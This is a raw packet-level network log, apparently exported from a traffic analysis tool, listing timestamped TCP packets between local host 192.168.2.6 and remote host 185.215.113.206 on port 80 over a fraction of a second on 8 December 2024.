Dec 8, 2024 15:38:13.703933001 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.704698086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.704746008 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.704828024 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.704869986 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.705821991 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.705864906 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.705897093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.705935955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.758229017 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.758310080 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.758404970 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.758404970 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.758719921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.758768082 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.758806944 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.758846998 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.759622097 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.759668112 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.759732962 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.759778976 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.760643005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.760690928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.760840893 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.760890961 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.761734962 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.761784077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.761828899 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.761868954 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.762814999 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.762862921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.762901068 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.762942076 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.763734102 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.763777971 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.763818026 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.763859987 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.764769077 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.764811039 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.764882088 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.764934063 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.765808105 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.765865088 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.765904903 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.765938044 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.766787052 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.766834974 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.767091036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.767137051 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.767963886 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.768022060 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.768034935 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.768080950 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.769073009 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.769124985 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.769280910 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.769330025 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.770349979 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.770404100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.770431042 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.770477057 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.771219969 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.771264076 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.771450996 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.771492958 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.772030115 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.772078991 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.772088051 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.772124052 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.773139954 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.773186922 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.773212910 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.773252010 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.774216890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.774270058 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.774282932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.774319887 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.775037050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.775074959 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.775110006 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.775146008 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.776144981 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.776181936 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.776238918 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.776274920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.777085066 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.777137995 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.777199984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.777234077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.778122902 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.778158903 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.778203964 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.778235912 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.779105902 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.779146910 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.779201984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.779247046 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.780149937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.780190945 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.780249119 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.780282021 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.781183004 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.781227112 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.820626020 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.820699930 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.820750952 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.820897102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.821098089 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.821141005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.821145058 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.821181059 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.822036982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.822083950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.822092056 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.822120905 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.822931051 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.822974920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.822987080 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.823026896 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.823936939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.823999882 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.824079037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.824116945 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.825028896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.825051069 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.825083017 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.825100899 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.826033115 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.826088905 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.826278925 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.826324940 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.827205896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.827332020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.827346087 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.827390909 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.828140020 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.828186035 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.828217030 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.828258991 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.829085112 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.829128981 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.829165936 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.829214096 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.830105066 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.830153942 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.830193043 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.830233097 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.831123114 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.831172943 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.831239939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.831280947 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.832149029 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.832196951 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.832237959 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.832281113 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.833244085 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.833307028 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.833345890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.833385944 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.834196091 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.834248066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.834275961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.834316015 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.835258961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.835278988 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.835306883 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.835325003 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.836256027 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.836313009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.836359024 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.836400032 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.837564945 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.837611914 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.837768078 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.838059902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.838421106 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.838495016 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.838495970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.838849068 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.839330912 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.839371920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.839432001 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.839471102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.889267921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.889424086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.889432907 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.889467955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.889823914 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.889875889 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.890002012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.890043974 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.890661955 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.890707016 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.890742064 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.890774965 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.891444921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.891493082 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.891531944 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.891571999 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.892306089 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.892352104 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.892394066 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.892436028 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.893338919 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.893385887 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.893430948 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.893476009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.894352913 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.894398928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.894442081 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.894484043 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.895435095 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.895482063 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.895524025 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.895569086 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.896502972 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.896547079 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.896605968 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.896647930 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.897430897 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.897479057 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.897551060 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.897599936 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.950186014 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.950228930 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.950381994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.950381994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.950762987 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.950814009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.950963974 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.951011896 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.951704979 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.951750040 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.951796055 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.951829910 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.952775002 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.952833891 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.952907085 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.952949047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.953841925 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.953883886 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.953910112 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.953949928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.954854012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.954894066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.954931021 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.954971075 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.955796957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.955838919 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.955897093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.955935955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.956831932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.956876993 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.957004070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.957041025 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.957925081 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.957962036 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.958039045 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.958075047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.958915949 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.958966017 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.959034920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.959074020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.959928036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.959976912 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.960062027 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.960105896 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.960939884 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.960983992 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.961055994 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.961098909 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.961990118 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.962028980 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.962070942 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.962110996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.963107109 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.963145971 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.963181019 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.963216066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.964188099 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.964231968 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.964270115 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.964319944 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.965106010 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.965147018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.965209007 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.965248108 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.966078043 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.966147900 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.966177940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.966217041 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.967103004 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.967150927 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.967277050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.967324018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.968102932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.968149900 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.968218088 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.968257904 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.969238997 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.969279051 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.969412088 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.969449043 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.970508099 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.970551968 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.970634937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.970670938 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.971446037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.971491098 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.971525908 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.971564054 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.972306967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.972348928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.972404957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.972448111 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.973208904 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.973248005 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.012470961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.012489080 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.012540102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.012564898 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.012667894 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.012712002 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.012718916 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.012758970 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.013695955 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.013736963 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.013763905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.013803005 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.014697075 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.014735937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.014744997 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.014775038 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.015424967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.015471935 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.015541077 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.015583038 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.016422033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.016465902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.016582966 CET	80	49708	185.215.113.206	192.168.2.6
